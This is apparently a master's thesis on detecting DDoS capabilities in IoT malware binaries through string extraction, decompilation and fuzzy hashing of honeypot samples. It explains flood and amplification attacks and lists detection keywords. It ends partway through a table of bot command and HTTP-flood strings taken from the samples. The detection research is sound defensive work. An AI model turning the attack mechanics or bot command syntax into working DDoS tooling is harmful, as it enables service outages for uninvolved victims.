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Abstract 
The present thesis addresses the topic of denial of service capabilities 
detection at malware binary level; with the aim of designing a framework 
that integrate results from different binary analysis methods and decide 
on the DDoS capabilities of the analysed malware. 
We have implemented a process to extract meaningful data from malware 
samples; the extracted data was used to find characteristics and features 
that can lead to the detection of DDoS capabilities in binaries. Based on 
the discoveries, a set of rules was elaborated to detect those features in 
binaries. 
The method is tested on a dataset of 815 samples. Another dataset of 525 
benign binaries is also used to test false positives rate of the implemented 
method. 
The results of our method are compared with Virus Total analysis results 
to assess our detection approach. 
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1 Introduction 
Many works have addressed the topic of Distributed Denial of Service 
(DDoS), yet all the related works and researches have either focused on 
detection and mitigation by studying the network traffic activities to help 
organisation protect their assets [1], [2], [3], [4], [5],or on classification 
in order to help the scientific community to establish a common 
understanding of these attacks [6], [7], and when attention was given to 
malware samples, the works were -again- either specific by targeting one 
type of malware [8], or vague by focusing on giving general guidelines on 
malware reverse-engineering [9], [10], consequently, the topic of 
studying malware samples to depict DDoS capabilities was forgotten by 
the scientific community, in fact, security actors mainly rely on antivirus 
labs to provide them -with certain level of confidence- with the result of 
malware capabilities based on their  analysis, even though, it is important 
to mention that the full analysis of one malware (including static and 
dynamic) might be hard and time-consuming, but thanks to resources at 
the labs disposition, the task can be affordable. However, the expansion of 
the Internet of Things, commonly known as IoT, has engendered a rise of 
malware infecting these devices mainly due -amongst other reasons- to 
the lack of security-by-design on those devices. The threat was exposed 
to information security actors when KerbsonSecrity.com and OVH were 
attacked by MIRAI in late 2016 with waves of DDoS attacks of unpreceded 
magnitudes [11]. The threat even went to a higher level when the source 
code of MIRAI and other malware were released on GitHub, which saw the 
number of variants explodes [12], under those circumstances, people 
working in Computer Emergency Response Teams would welcome any tool 
that can assist them to identify quickly and efficiently DDoS capabilities in 
suspected binaries. 
1.1 Objectives 
The objective of this thesis is to study the possibility to set up an 
environment where malware can be automatically analysed to detect their 
DDoS capabilities. The thesis will focus, as a first step, on gathering data 
from a dataset of potential DDoS malware samples using reverse 
engineering tools, then as a second step, on designing a comprehensive 
framework that takes the analysis result as input and help (base on 
predefined metrics) to decide over DDoS capabilities of the analysed 
malware. 
1.2 Thesis Question 
This thesis will try to answer the following question: 
Can we design a framework to integrate the results of different 
approaches of malware analysis and decide over their DDoS capabilities? 
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1.3 Contributors 
University of Luxembourg and the LIST 
In collaboration with the LIST (Luxembourg Institute of Science and 
Technology), the University of Luxembourg is the academic institution 
delivering the Master Degree defended by the present thesis. Dr. 
Professor Thomas Engel1  and Dr. Andriy Panchenko 2  are the academic 
advisors of the student during the thesis. 
Computer Incident Response Centre Luxembourg (CIRCL) 
The thesis is done in collaboration with the Computer Incident Response 
Centre Luxembourg (CIRCL), Dr. Gerard Wagener and Alexandre 
Dulaunoy3 are the local advisors for the project inside the CIRCL. 
CIRCL is a government-driven initiative designed to provide a systematic 
response facility to computer security threats and incidents. CIRCL is the 
CERT for the private sector, communes and non-governmental entities in 
Luxembourg4.  
CIRCL provides a reliable and trusted point of contact for any users, 
companies and organizations based in Luxembourg, for the handling of 
attacks and incidents. Its team of experts acts like a fire brigade, with the 
ability to react promptly and efficiently whenever threats are suspected, 
detected or incidents occur. 
CIRCL’s aim is to gather, review, report and respond to cyber threats in a 
systematic and prompt manner, hence the need of tools to detect specific 
threats such as DDoS attacks at their source by studying the behaviour of 
malware originating them to better prepare mitigation and response 
measures.  
Cetrel Securities S.A 
CETREL Securities is the Student’s employer and sponsor for the master 
degree, CETREL Securities is a regulated company controlled by the CSSF. 
It is the very first professional of the financial sector status (PSF) being 
capable to handle IT systems as well as any administrative flows in the 
area of reference data management. 
1.4 Boundaries 
1.4.1 Public Research 
This thesis and all the research related materials and results will be 
publicly available, open to contributions and will try to reach out the 
community. 
                                                 
1
 https://wwwen.uni.lu/snt/people/thomas_engel 
2
 https://wwwen.uni.lu/recherche/fstc/computer_science_and_communications_research_unit/members/andriy_panchenko 
3
 https://www.circl.lu/team/ 
4
 http://circl.lu/mission/ 
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It means all the tools designed during the thesis will be open source and 
will be maintained on a public repository on GitHub5. 
The data analysis results and the methodology documentation are public 
as well. 
All the samples’ decompiled and assembly sources are included in the 
public repository on GitHub, however, the malware binaries used to build 
the dataset will be excluded to avoid accidental infections. 
1.4.2 Result Based vs Implementation 
Due to constraints, mainly time, the thesis will not include any 
implementation or ready-to-use solution, even if we will use tools to 
extract and process the data, these tools are either scripts developed by 
the student or open source software. An end-to-end solution to analyse 
malware will not be implemented, instead, a best-effort prototype of each 
stage of the framework is used to accelerate the process with the aim to 
have results while respecting the thesis schedule. 
2 Background 
2.1 Internet of Things 
The term Internet of things commonly known as IoT is given to the 
network of physical devices connected to the internet, the thing here can 
be a smartphone, router, fridge, smart TV, public camera or any other 
connected device capable of transferring data over the internet. The rise 
of IoT came with wireless generalisation and smart objects proliferation, 
most of the IoT objects comes with embedded small variants of Linux 
distribution, Eclipse Foundation in its IoT Developer Survey of 2018, found 
that 71% of IoT run Linux-Bases OS6, thanks to the scalability, small 
footprint, portability, and modularity of such systems, they are widely 
used on IoT devices since those devices have low processing requirements 
to execute their tasks.  
New Security challenges have emerged with IoT expansion, unlike 
personal computers which are properly protected by users with antiviruses 
and system updates, IoT devices have issues related to the lack of 
security-by-design and low-security concerns from the end user (default 
password, no updates …), in addition, more vulnerable devices are getting 
connected to the internet every day, as a result these devices attract 
hackers and cyber-criminals seeking to build botnets for their malicious 
operations. 
                                                 
5
 https://github.com/baammi/ddos_detection 
6
 https://blogs.eclipse.org/post/benjamin-cab%C3%A9/key-trends-iot-developer-survey-2018 
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2.2 Botnets 
A botnet is a name given to a group of devices connected to the internet 
and infected with a malicious program, a fact that the owner of the device 
often ignores. The infected devices are called bots or zombies and they 
are remotely controlled by a hacker called bot-master, the purpose of the 
botnet is to provide the hacker with huge computing resources that can be 
used for several illegal purposes like DDoS for hire, cryptocurrency 
mining, and ransom-ware campaigns. Device infection involves every 
possible vector, including vulnerabilities on the device, 0-day exploit, 
social engineering, brute-force attacks, drive-by-downloads or any other 
technique that enables the hacker to install his malicious program on the 
device. MIRAI, for instance, is discovering and infecting devices through 
an automated IP scan then tries to brute force every discovered device, it 
also tries to exploit some known vulnerabilities on the device as well [11]. 
Some botnets are limited to some operating systems like Windows or 
Linux. Malware on the host should pass unnoticed and should not interfere 
or harm the host, it should hide its presence to exist on the device until 
the bot-master needs the resource, sometimes a single device can be 
infected with several malware and enslaved to execute different tasks on 
the count of different hackers. Depending on malware, such cohabitation 
is possible.  
The bots communicate with each other and with the bot-master using 
Command and Control servers (C&C) through conventional network 
protocols like Internet Relay Chat (IRC), HTTP and even P2P. 
Beside DDoS and cryptocurrency fields, Zhang et al proposed a paper on 
botnets attacks in social media for digital-influence purposes, where they 
studied bots controlling accounts that mimic human users with malicious 
intentions[13]. 
2.3 Distributed Denial of Service (DDoS) 
According to Incapsula, a distributed denial of service (DDoS) attack is a 
malicious attempt to make an online service unavailable to users, usually 
by temporarily interrupting or suspending the services of its hosting 
server7. The attack can be achieved by executing a variety of techniques 
to overload the traffic toward the target's network, or exhaust and 
consume all the available resources on the target’s system. 
Difference between DoS and DDoS is that DoS consists of one attacker 
flooding the target system using one attacking device, whereas DDoS 
consists of –still- one attacker, using multiple attacking devices, for 
instance, a botnet of several IoT objects controlled by one bot-master. It 
is not always the case that one bot-master is performing the DDoS; 
                                                 
7
 https://www.incapsula.com/ddos/ddos-attacks/ 
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sometimes multiple hackers can coordinate their bot armies to attack one 
target, this can be seen in the DDoS-for-hire scenarios. 
DDos
DoS
Computer
Computer
Computer
Computer
Victim
Hacker2
Hacker1
Hacker
Computer Server
 
Figure 1 Different betweem DoS and DDoS 
 
There are many types of DDoS attacks, Douligeris et al [7] tried to 
introduce some structure to the DDoS field by presenting the state-of-the-
art through a classification of DDoS attacks and a classification of the 
defence mechanisms that can be used as countermeasures to these 
attacks, the classification of attacks includes both known and potential 
attack mechanisms. However, the widely adopted classification has 3 
general types of attacks8 : 
Volumetric attacks 
Volumetric attacks also called bandwidth attacks are attacks aiming to 
consume the target's bandwidth.  
Volumetric attacks represent 65% of DDoS attacks9 and use reflection and 
amplification techniques to increase the attacks volume. These attacks are 
measured in bits per second (BPS). 
Some examples of volumetric attacks are: 
 UDP Floods 
User Datagram Protocol (UDP), is a network protocol that doesn't need to 
establish a connection between the endpoints, the packets are routed on a 
best-effort traffic, as soon as the host receives the packet at a given port 
it will check for the application using this port or reply with an ICMP 
                                                 
8
 https://www.cisco.com/c/en/us/products/security/what-is-a-ddos-attack.html 
9
 https://blog.thousandeyes.com/three-types-ddos-attacks/ 
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Destination Unreachable packet. This property makes UDP more 
vulnerable to DDoS attacks since the attacker can generate a huge 
number of UDP packets to flood the victim's IP using random ports, which 
will consume the host’s resources. 
 ICMP Floods 
Like UDP floods, this attack takes advantage of the connectionless nature 
of the Internet Control Message Protocol (ICMP); the protocol is used for 
IP operations, diagnostics, and errors. The attackers send a large number 
of ICMP requests to the targeted machine. The machine can be easily 
exhausted when attempting to process all the requests. 
 Domain Name Servers (DNS) Amplification 
The attacker builds a DNS request where he places the victims spoofed IP 
address as the DNS resolver, then sends multiples DNS queries to a DNS 
server (ideally asking for a domain that has several records). The DNS 
server will send back a response to the victim's server that can be 100 
times larger than the initial request. Using few machines generating very 
small traffic, the attacker can make a DNS server floods the victim's 
server with a big number of large DNS replies until it is no longer 
accepting new requests. 
 Network Time Protocol (NTP) Amplification 
Network Time Protocol (NTP) used by Internet-connected machines to 
synchronize their clocks, it has a command called "monlist" that responds 
with the last 600 hosts connected to the server. the reflection is achieved 
with the attacker who keeps sending a "get monlist" request using the 
victim's spoofed IP address, the NTP server will respond to the victim’s 
machine with a response 20 to 200 times larger than the request, taking 
advantage of this amplification (combined with an army of bots) the 
attacker can strike with high volume/bandwidth DDoS attack. 
Protocol Attacks 
Protocol-Based Attacks target Layers 3 and 4 of the OSI model in the 
target’s infrastructure in a purpose to consume the processing capacity of 
the target machine. It also targets intermediate resources like firewalls or 
load balancers. Protocol-Based Attacks are measured in packets per 
second (PPS).  
Some examples of protocol attacks are: 
 Smurf Attack 
Named after the Smurf malware that unveiled this technique, the malware 
spoofs the victim’s address into a fake ICMP Echo request, then sends the 
request to large computer networks, the networks transmit the request to 
all its connected hosts, every host sends back an ICMP response to the IP 
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address in the request (the victim's) which takes down the victim's 
machine due to the huge amount of responses received. 
 TCP SYN Flood 
The attack consists of sending multiple SYN packets to the victim, the goal 
is to fill the session/connection table of the network device (server, 
firewall ...), when done the device will drop all the incoming requests for 
which there is no space in the table even if the dropped requests are 
legitimate. The attacker generally spoofs the source IP to avoid receiving 
the SYN+ACK 
 Fragmented packet attacks 
The attacker sends IP datagrams (packet) exceeding the maximum 
transmission unit (MTU) which means that they have to be fragmented. 
These packets usually contain junk data which make them impossible to 
reassemble, leading the server to be exhausted due to packets 
overlapping ending with its failure. There exist two variants of this attack, 
UDP/ICMP fragmentation attack, and TCP fragmentation attack 
Application Attacks 
These attacks overwhelm the application services as it targets 
vulnerabilities at the application level on the victim's system.  They are 
considered as the most sophisticated attacks and are very difficult to 
detect and mitigate due to the low traffic rate generated by few machines. 
Application attacks are measured in Requests per second (RPS).  
Among application attacks we can find: 
 HTTP Floods 
This attack consists of sending a flow of HTTP GET and HTTP POST 
requests to the target (generally webserver of web application), as the 
HTTP requests are resource consuming and it is hard to distinguish a 
legitimate HTTP request from a malicious one, all the requests are treated 
by the server which leads to overload and slow down the machine until it 
shuts down. This type of attacks is usually performed by an army of bots. 
 DNS Service attack (DNS Flood) 
This attack is a variant of the UDP flood attack since the DNS server uses 
UPD packets. it consists of trying to consume the DNS server resources by 
using an army of bots to generate traffic to the DNS server until it's down, 
the DNS requests use spoofed IP to avoid receiving the DNS replies on the 
attacking machine. DNS flood uses packet content randomization and IP 
randomization to bypass DDoS protection mechanism. Another variant of 
the attack intends to make the DNS server work harder with DNS 
NXDOMAIN request, the attacker request domains which do not exist 
obliging the DNS server to check the entire table for the requested 
domains, this variant is called DNS Water Torture Attack. 
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2.4 Previous Works 
Until this paper was written, no previous work haf applied binary level  
analysis of malware to detect DDoS patterns, nevertheless, a signature-
based detection technique was proposed by K. Fouda in his master thesis 
where he tried to detect DDoS attacks using payload signature[14], the 
aim of his work was to provide faster and more robust detection of 
recurrent attacks by automatically generating payload-based signatures 
that characterize new attacks. The generated signatures are stored in the 
IDS database to allow efficient detection. While the former method is  
used to perform fast detection of known attacks, the anomaly-based 
approach is another type of proactive DDoS detection methods, where 
different states of the network are compared to find anomalies alerting 
about an ongoing DDoS attack [2], [3], mitigating DDoS attacks using 
data mining and density-based geographical clustering was also proposed 
by M. Rønning[4], relying on data mining and machine learning to find 
relevant and significant patterns on traffic history. Based on found traffic 
correlations, filtering mechanisms can be dynamically applied to prevent 
abnormal activities. 
Classification of DDoS detection approaches was proposed as breakdown 
structure in the work of P. Kaur et al.[15] , J. Mirkovic and P. Reiher 
proposed a taxonomy of distributed denial-of-service attacks and a 
taxonomy of the defense mechanisms that strive to counter them [6] 
2.5 Supporting Materials 
To carry out the project properly, we have relied on papers and article 
from information security actors, all the references used in the thesis will 
be included when needed. 
All the tools used for this project are open-source and will be discussed 
later. 
3 Tools and Dataset 
3.1 Tools 
3.1.1 Shell and Perl 
Shell and Perl were used as scripting languages to implement the different 
solutions for binary classification, data extraction, and results analysis. 
3.1.2 Radare2 
Radare2 is an open source reverse-engineering framework with powerful 
analysis capabilities, it can Disassemble (and assemble for) many different 
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architectures. It can Debug programs, perform forensics on filesystems 
and visualize data structures of several file types10. 
Radare2 is used in our study to extract binaries information and strings 
and to do visual analysis of suspected malware. 
3.1.3 RetDec 
Retargetable Decompiler is an open-source machine-code decompiler that 
can support many file formats (ELF, PE, Mach-O, COFF, Intel HEX, and 
raw machine code) and may architectures (Intel x86, ARM, MIPS, PIC32, 
and PowerPC)11, Avast released this analytical tool, commonly known as 
RetDec, to help the cybersecurity actors fight malicious software12. RetDec 
was subject to many papers studying the design of the decompiler and its 
components [16]–[18] in an attempt to fill the gap of the paper rarity in 
this domain, a detailed case has also been conducted giving a step-by-
step study of decompiling a computer worm called psyb0t [9]. 
In our study, RetDec was used to disassemble and decompile binaries in 
our dataset. 
3.1.4 SDHash and SSDEEP 
SDHash and SSDEEP are two fuzzy hashing tools that we have used to 
compare binaries in our dataset. 
SSDEEP is a program for computing context triggered piecewise hashes 
(CTPH). CTPH can match inputs that have homologies like inputs that 
have sequences of identical bytes in the same order, although bytes in 
between these sequences may be different in both content and length. 
SSDEEP hashes are now widely used for simple identification purposes 
(e.g. SSDEEP hashes are in Basic Properties section in VirusTotal)13. 
According to its website, SDHash is a tool that allows two arbitrary blobs 
of data to be compared for similarity based on common strings of binary 
data. It is designed to provide quick results during the triage and initial 
investigation phases14. 
3.2 Dataset 
The dataset used for the research was provided by the CIRCL, it contains 
815 Linux binaries, 152 samples were collected from malware 
repositories, the remaining samples are captured from the honeypot 
maintained by the CIRCL. The dataset contains several potential DDoS 
malware belonging to families like MIRAI, GAFGYT, and TSUNAMI; 
however, the exact nature of each binary is unknown. 
                                                 
10
 https://rada.re/r/ 
11
 https://retdec.com/ 
12
 https://blog.avast.com/avast-open-sources-its-machine-code-decompiler 
13
 https://ssdeep-project.github.io/ssdeep/ 
14
 http://roussev.net/sdhash/tutorial/01-intro.html 
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3.2.1 CIRCL Honeypot 
A Honeypot is a device placed on the network to mimic a real system; the 
honeypot is often listening on a dedicated IP address, it is used to lure 
hackers to interact with the system to study their attacks and techniques.  
The honeypot has its own IP address in the network, this address is 
exclusively used by the honeypot application to make it more attractive to 
hackers and to capture the maximum traffic, and thus, all the TCP and 
UDP ports on the device are open. It captures raw data packets.  
There are two types of honeypots, Production and research honeypots, 
according to Symantec, Production Honeypot is used within an 
organization's environment to help mitigate risks, it has value to the 
security of production resources, while a research honeypot is used as a 
platform to study the threats by studying the motives and tactics of 
hackers, record step-by-step as they attack and compromise a system, 
and watch what they do after they compromise a system. Research 
honeypots are excellent tools for capturing automated attacks, such as 
auto-rooters or Worms15.  
As a part of their CERT role, the CIRCL possesses its own HoneyBot 
services which are part of a research project. The CIRCL's HoneyBot is a 
low interaction device deployed in the premises of their partners16. The 
packets are captured and transmitted over an encrypted channel to a 
CIRCL’s HoneyBot collector, this process is handled in two modes: 
Honeypot: establish a connection and record exchange logs (useful to log 
requests of higher protocols). 
Blackhole: passive mode, only packets are captured17. 
3.2.2 Linux executables 
The expansion of the IoT has caused a rise in malware infecting the 
connected devices; these devices run (almost exclusively) variants of 
UNIX operating systems. Those variants are popular because they contain 
many of the most common utilities, have a very small footprint and 
provide many capabilities of UNIX in a single executable18. This is why we 
will exclusively study Linux binaries, thus, binaries in ELF format. 
ELF format 
Executable and Linkable Format known previously as extensible linking 
format, originally developed and published by UNIX System Laboratories 
as part of the Application Binary Interface, it is the file format of the 
                                                 
15
 https://www.symantec.com/connect/articles/value-honeypots-part-one-definitions-and-values-honeypots 
16
 https://www.circl.lu/pub/tr-16/ 
17
 https://www.circl.lu/assets/files/honeybotclient.pdf 
18
 https://www.ibm.com/developerworks/library/iot-anatomy-iot-malware-attack/index.html 
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common standard binaries under Unix-based systems, it can store 
executables, shared libraries, Archive files, and core dumps. 
There are many tools to inspect ELF files, we have tried readelf, rabin2 
and Linux utility file.  
The ELF file structure includes the ELF Header, the Program headers table, 
Segments, Section headers table, sections and the Data, 
 ELF Header 
Holds a roadmap describing the organization of the object file, it tells 
Linux how the process will be created, it contains information on whether 
the binary is 32 or 64-bit, it has also a field for the endianness, machine 
(AMD, SPARC, x86 ...), OS to be used on and other information useful at 
runtime. 
 Sections and section headers 
The section header table defines the sections in the file.  
Sections are the smallest relocatable piece of an elf file, they are optional 
in the file, a section contains one type of data like executable code (.text), 
initialized user data with read-write permission (.data) and initialized user 
data with read-only permission (.rodata).  
 Segments and program headers 
The program header table holds a map of all the segments in the file.  
Segments contain one or more sections put together by the linker, it tells 
the OS where the segment should be loaded in the memory space, and 
the permissions regarding this segment (R, W, X). A segment holds 
sections with the same permissions. 
ELF File Structure
ELF Header
Program Header table
Section 1
Section 2
…
.
Section n
…
.
Section Header table
ELF Header
Program Header table
Segment 1
Segment 2
…
.
Section Header table
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Figure 2 ELF file Structure 
Static vs Dynamic 
One of the most important characteristics of an ELF file is being either 
dynamic or static. 
Dynamic binaries need external components or libraries to run correctly, 
there are often small in size and contain only the user’s code and rely on 
the system’s shared functions to perform the trivial task (create a socket, 
open a file, write to a file and read internal machine state). 
Static binaries, on the other hand, have all what they need included in the 
ELF file, the needed libraries will be embedded in the executable, to 
ensure that the program will execute independently from the system's 
shared libraries, whether they are present or not. 
Now in our context static binaries are interesting to study when we link 
them to IoT malware, in a case where a malicious bot scans the internet 
for new vulnerable devices to infect, if the hacker wants to have a larger 
botnet, he might not want his program to rely on the installed system 
libraries of the new recruit in order to maximize the chances of running 
properly, thus, the recourse to static binaries that minimize interaction 
between the malware and host’s system. We will see during the binaries 
analysis that one malware -to maximize his chances- could be compiled to 
run on multiple architectures with the purpose of hitting a larger number 
of IoT devices. 
Stripped 
Compiled binary files can contain debug information which is not 
necessary for program execution, rather it is useful for debugging and 
finding problems or bugs in the program. According to Wikipedia stripped 
binary is a binary file without these debugging symbols and thus lesser in 
size and gives potentially better performance than a non-stripped binary. 
A stripped binary is hard to disassemble or reverse engineer which also 
makes it difficult to find problems or bugs in the program. Stripped binary 
can be produced with the help of the compiler itself, e.g. GNU GCC 
compilers' -s flag, or with a dedicated tool like strip on UNIX19.  
Practical analysis of stripped binary code was present by Harris et al [19] 
4 Binaries Data extraction 
In this section we will describe the process of extracting meaningful data 
from our dataset samples, these data are vital for our research project as 
the results are studied to isolate and understand elements of malware 
behaviour, which will lead to elaborate some rules to detect behaviours 
                                                 
19
 https://www.semanticscholar.org/topic/Stripped-binary/1559358 
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that we found relevant, in our case, the ones that can lead to detecting 
DDoS capabilities in malware.  
We will rely on different approaches to extract data from binaries such as 
strings, decompiled code, fuzzy hashing result, and functions graph. The 
results are stored in a database for upcoming analysis. 
4.1 Binaries identification 
This step is the first process of static binary analysis, it aims to identify 
and classify binaries based on ELF related criteria (see 3.2.2). 
The used tool is rabin2 from radare2 suite, there are many other tools to 
extract binary information, readelf and UNIX utility file are another 
example, but we have chosen rabin2 for the advantage given by the 
structure of its output which fits best with our automation. The 
implemented solution to import and extract information from binaries will 
rely on two processes: 
 Identification: Each new malware is identified by its sha1 and 
sha256 checksums, the choice was due to the fact that most anti-
virus labs use these identifiers for binaries. 
 Classification: Binaries are stored in the database with the 
information extracted from the headers; this is a very important 
step for the upcoming analysis; as we will discover that some 
criteria are very important and relevant for the reverse-engineering 
process.  
Two requirements were needed for the solution: 
 Fast: a given directory is recursively scanned for binaries to be 
imported. As we needed to perform multiple runs and import 
hundreds of binaries each time, the import process should be fast 
and straightforward. 
 Filters existing binaries: as all binaries are identified by their 
checksum, only new binaries are imported, additional copies of the 
same binary with different names will be discarded. 
The following attributes are extracted:  
Id(sha1) size bits architecture Binary type crypto 
endianness language machine OS static stripped 
New binaries are imported and renamed with their sha1 checksum (short), 
then saved in a unique directory; this directory will contain all the 
necessary files used in the analysis of the binary. When needed in the 
project, JSON format has been adopted to store data generated by the 
analysis of binaries. 
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4.2 Binaries Strings Extraction 
Strings are sequences of printable characters found in different sections of 
binary files, different tools can be used to display strings of an ELF file; 
readelf, rabin2, and UNIX utility string are among the most popular.  
String analysis can reveal some useful information about the binary; it can 
depict malicious URLs, IP addresses, user-defined messages and system 
files accessed by the executable. The analysts at Kingsoft anti-virus lab 
suggest that the interpretable strings are good static features since they 
do not only parse the possible behaviours of a malicious executable but 
also capture the malware author’s intent and goal [20]. 
Strings analysis approach has been studied in many papers, either to 
detect anomalies in Android malware by calculating string-based deviation 
from normal to abnormal binaries [21], or to build string-based malware 
detection system using machine learning and data mining [20], it has also 
been shown that it is possible to classify malware based on strings [22], 
however, the main disadvantage of string-based approach is that it does 
not work on obfuscated or packed binaries. 
For the needs of our research, we have extracted all the strings in the 
dataset’s binaries to be used in further steps of the research, to this end, 
we have generated for each binary a storable structure (hash table) 
containing all sections and strings within each section. The binary’s hashes 
are stored in the Database. 
The process of string extraction was designed with respect to the following 
requirements: 
a) Extract all strings from each binary 
b) Validate strings (length >= 3 chars) 
c) Create a hash table of each binary’s results  
d) Create a JSON file with the created hash and store it in the binary’s 
folder. 
e) Update the binary’s record in the database with its corresponding 
strings. 
The results of string extraction will be needed for two purposes: 
a) Apply heuristics on the outcome to find hints that help detect DDoS 
capabilities 
b) Use strings of each binary as a part of the input in the assessment 
of his DDoS capabilities. 
4.3 Binaries disassembling 
The assembly language is a low-level programming language using 
mnemonics to represent each machine instruction, the language is (at a 
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certain level) machine architecture specific. The process of converting an 
assembly program to machine executable is called: assembly. There are 
many tools to perform such an operation. 
Disassembling, on the other hand, is the opposite process, which consists 
of converting machine code into assembly language. Machine code format 
can be very difficult to understand, in contrast with the assembly 
language which can be easily understood by the software developers, that 
is why dissembling can be very helpful for our study. 
In our project, the disassembly process is jointly implemented with the 
decompiling (explained in the next paragraph), as the same tool is used 
for both processes. 
The result of the disassembly will be used as an input for the fuzzing 
hashing scripts to detect similarities between binaries. 
4.4 Binaries decompiling 
Decompiling is the process of converting an executable binary into a 
higher-level programming language such as C or Python, while preserving 
its functionalities, in reverse-engineering, decompiling a malware is doing 
the opposite of what the hacker did with his malicious source code, 
namely, compiling.  
Compiling is the process of converting the human-readable code into a 
machine executable binary. The compilation of a program from code to a 
ready-to-run file will depend on the compiler itself, the programming 
language, machine-architecture and the targeted operating system, that is 
why decompiling a binary is a very painful task which might fail at the 
end. 
Among all the tested tools Retargetable Decompiler (see 3.1.3) is the best 
for our case. 
The process of decompiling our dataset’s binaries was straightforward, 
after RetDec was installed; a script is used to decompile binaries in serial 
mode, the provision of resources is vital, since such operation could be 
time-consuming if appropriate calculation power is not provided.  
In our case, we have successfully decompiled 562 out of the 815 samples 
in the dataset, the rate of 68.9% is a very good rate given the fact that it 
was unable to decompile any of the 64-bits binaries nor SH, SPARC and 
m68k architectures. (See Graph 1) 
The output of the process is a C code program that translates at best the 
behaviour of the binary. Decompiled code gives the advantage of the 
lower level programming language semantics that is easily understood by 
software developers, it offers a view on the program functions, their 
length, arguments and dependencies, furthermore, decompiled code make 
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possible the study of instructions, loops, and conditions, which can offer 
hints on a given function’s behaviour. 
4.5 Fuzzy Hash 
In classical cryptography, hashing algorithms like SHAs and MD5 give 
exact matches when used to compare files, either the files match or not, 
even small disparities between files will result in completely different hash 
results, those algorithms are very powerful when it comes to verifying the 
authenticity of files in application deployment (software) or their integrity 
in digital forensics (hardware), on the other hand, they are useless when 
security experts seek to find similar but not necessarily identical files.  
When we know that many variants of malware like MIRAI and TSUNAMI 
are hunting in the nature, and since the code source of those malware 
was leaked and that many script kiddies have taken the challenge to 
foster their own botnets [11], it becomes very urgent to find some 
powerful algorithms to compare files and be able to detect their similar 
parts and component. Here, we can introduce the fuzzy hashes, they are a 
new generation of hashes also called similarities hashes, they hash files by 
dividing them into small pieces and calculate the hash of each block to 
generate a global hash, which can share some part with another file’s 
hash if the two files have similar parts or if one file is embedded in the 
other, this is what makes fuzzy hashes able to give an approximation of 
similarity level between files with a good precision rate.  
The most known algorithms are SSDEEP, SDHash, TLSH, Fksum and MRS 
hash, many others exist, Lee et al [23] made an extensive study to 
compare fuzzy hashes and they gave an evaluation of the state of fuzzy 
hashing as well, they have also presented guidelines for the best-use 
scenario(s) of each hash. 
In our context, fuzzy hashes results will have two purposes: 
a) Verify that, if any detection method should be applied, this one 
gives consistent results. 
b) Help to identify new malware if similar ones have already been 
detected and identified. 
SSDEEP and SDHash have been chosen to compare the 815 samples in 
our dataset, both have good detection results with a low false positives 
rate, they can compare binary files and text files as well, the result of the 
comparison is a percentage between 0 and 100, 0 stands for no match 
and 100 for perfect match. We have used the binary files to generate a 
first comparison report, further, we have also generated a comparison 
report of the disassembled files, each time both tools were used and each 
binary was compared to the rest of the dataset. The threshold was set to 
20% and the results are stored in the database for further uses. 
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5 Data Analysis and Rules set up 
In this section, we will show how all the extracted data from the dataset 
was used to investigate and look for hints that can lead to the detection of 
DDoS capabilities in binaries. Based on the discoveries, some specific 
features and characteristics are isolated; and a set of rules was elaborated 
to detect those features in binaries. 
5.1 Heuristics as data mining approach 
After the extraction, we had a lot of data to analyse, the main challenge at 
this step was to find meaningful, relevant and  interpretable information in 
all this data, with the limited time at our disposal, we needed to find an 
approach for datamining that could deliver acceptable result from a huge 
amount of data in a short lapse of time, therefore, gambling on heuristics 
to study the data was a risky call, as this approach can deliver irrelevant 
or non-consistent results, however, in the next sections, we will show that 
this approach was proved to be a good risk to take at the end. 
5.2 Learning from Data 
5.2.1 Findings from binary characteristics 
While studying the different characteristics of the dataset samples, we 
have observed a dominance of 32 bits over 64 bits; this is due to the fact 
that most of IoT devices are small machines and run 32bit processors 
(See Graph 1). 
A dominance of static over dynamic binaries was also observed (See 
Graph 2), as explained earlier, it is due to the fact that most malware 
designers do not want their binaries to rely on the system’s libraries to 
run properly, to achieve such independence and increase portability of the 
binary, all the needed libraries are embedded with the user code during 
the compilation process, the result is a static executable running with its 
owns dependencies. 
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Graph 2 
5.2.2 Findings from Strings 
The strings extraction process yielded 44971 distinct strings, this number 
does not include strings with less than 3 consecutive alphabetic 
characters; those are filtered out to limit the number of irrelevant words.  
A solution was implemented to generate reports from the dataset’s 
strings; those reports will give details on strings with their frequencies 
(how many times a given string is repeated in all the dataset) and the 
number of binaries containing this string as well, the solution was 
motivated by two reasons: 
a) To have an overview of all the strings and see if there are any 
usable strings. 
b) Check the extracted strings for the presence of any DDoS hints. 
To achieve the first, we have manually studied the report to learn by 
looking deeper into frequencies, lengths, or simple meanings of some 
strings, at the end, we have depicted the presence of interesting strings in 
our dataset. 
By looking into long strings, we found commands to auto install binaries 
(see Figure 3), HTTP session and network commands, predefined lists user 
agents, and other code source used outside compilation context. 
By looking into frequencies, the analysis showed the presence of many C 
function names and libraries (see Figure 4), this is a very good discovery 
as we can make hints on the binary global behaviour by analysing the 
functions and libraries it uses.  
We have also found many calls to UNIX system files and directories (see 
Figure 5), the system files used have big informational value as they will 
indicate what type of resources the binary needs and uses. For instance, if 
a binary uses the file ‘/proc/net/route’ it gives a hint that the binary will 
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try to get access to the kernel's IP routing table, using the file 
‘/proc/meminfo’ shows that the binary will try to get information about the 
system RAM usage. Some malware try to hide their presence by imitating 
the name of a benign process, and this could be done by manipulating 
system files under /proc/. 
 
Figure 3 Examples of auto-install commands 
 
Figure 4 List of some C functions and includes found in the dataset 
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Figure 5 List of some system files called in the dataset 
The strings meaning analysis was done by looking in the binary strings for 
words like: HTTP, UDP, TCP, flood, attack, hack, kill, fork, socket, 
random…etc. The string matching was implemented using regular 
expressions for efficiency, other variants of words were used, like rnd for 
random, attck or atck for attack, and sckt for socket, these words -if 
the binaries are not stripped or packed- should appear in binaries 
performing persistent connection over different network protocols. In our 
dataset, we have found all of these words plus others, the nature of 
strings found goes from function names, to user-defined massages and 
including instructions to remotely control and operate a bot. here are few 
examples showing frequencies of strings matching one of 3 words HTTP, 
UDP, or flood: 
Table 1 Frequencies of strings containing words HTTP, UDP or Flood 
String Frequency Malware 
sendUDP 213 213 
sendHTTP 203 203 
 HTTP/1.1\r\nUser-Agent:  173 173 
%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n 139 139 
UDP <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)> 105 105 
HTTP %s Flooding %s:%d for %d seconds 67 67 
%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n 66 66 
